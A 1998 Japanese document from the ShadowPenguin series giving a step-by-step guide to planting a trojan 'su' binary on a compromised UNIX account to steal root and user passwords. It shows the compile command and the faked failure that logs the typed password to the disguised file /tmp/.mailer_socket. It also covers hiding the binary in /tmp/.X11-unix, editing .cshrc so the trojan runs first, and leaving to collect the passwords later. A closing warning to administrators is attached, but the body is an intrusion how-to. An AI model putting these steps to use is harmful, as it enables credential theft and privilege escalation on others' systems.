================================
The ShadowPenguin Documents. No.4
- suトロイでrootになる -
Written by うにゅん
Oct.18, 1998
================================
1. はじめに
進入したのはいいけれど、どうしてもrootになることができない場合、進入できるアカ
ウントがその鯖のメインユーザだったりすると、suに細工をするとrootパスワードをと
られてしまう場合があります。そのsuトロイの仕組みと実際の仕込み方について説明します。ISPなんかにはあまり通用しないですが、企業や大学なんかで、snifferでアカウントを盗ったはいいけどrootになれない場合なんかは結構有効ですので、気をつけてくださいね。
2. 準備
とりあえず、侵入者になった気分で自分のUNIXで実験してみましょう。まず、OSに合ったsuトロイを入手します。ここのHPにSunOS4.1、IRIX、Solaris2.4、Solaris2.5/2.6日本語、digital用のが落ちています。suはOSによって失敗時の振る舞いが多少異なるので、かならずそのOSに合ったものを使いましょう。でないと、バレますので。suトロイを入手して鯖でコンパイルします。例えばSolaris2.4用だと、
%cc sut_sol24.c -o su
でOKです。
すると、カレントディレクトリにsuトロイができます。
3. 試してみる
これを実行すると、一度目は失敗してパスワードをログファイルに保存します。ユーザは「あちゃ〜、打ち間違えちったよ」ってな感じであまり気にしないのが普通です。では試してみましょう。例えば、ユーザhogeのパスワードがhelloだとすると、
%./su hoge
Password: (ここでパスワードhelloを入力)
su: Sorry
っていう感じで、正確なパスワードを入力したにもかかわらず失敗します。で、
%cat /tmp/.mailer_socket
hoge hello
みたいに、/tmp/.mailer_socketにログが残ります。一度、ログが残ったユーザーについては、2度目からは普通のsuが呼ばれます。rootも同様の方法でパスワードを盗ることができます。恐いですね〜
4. 仕込む
さて、動作が確認できたところで仕込みに入ります。ユーザがsuを実行すると、本物じゃなくsuトロイが実行されるようにしなければなりません。suは/usr/binや/binなんかに入ってますけど、ここにはpathが通ってますね。そこより仕込みディレクトリのパスを優先するようにすればいいのです。.cshrcファイルのパス設定をいじるだけでOKです。suトロイはあまりcdしなさそうな所に隠しておきます。
(例)
%cp su /tmp/.X11-unix
あとは、/tmp/.X11-unixを最優先でpathを通します。
IRIX、Solaris、SunOS等の場合は、ホームディレクトリにある.cshrcファイルのパス設定の行(set
pathがある行)を以下のように変更します。
変更前
set path=(. ‾ /etc /usr/local /usr/bin /usr/etc /usr/5bin
/usr/lib /usr/include)
変更後
set path=(/tmp/.X11-unix
. ‾ /etc /usr/local /usr/bin /usr/etc /usr/5bin /usr/lib
/usr/include)
これでOK。変更が終わったら、
%source .cshrc
として、実際に動作するかどうか確認しましょう。
ログファイル名を変更したい場合は、ソース中の
#define LOGFILE "/tmp/.mailer_socket"
の行を変更してください。
5. いったん去る
こういうのを、侵入してから仕込み、一度去ってからしばらくしてログを覗くと、rootパスができてるかもしれません。そうやって、あなたのrootパスは盗られていきます。常にpathにも気をつけておきましょう。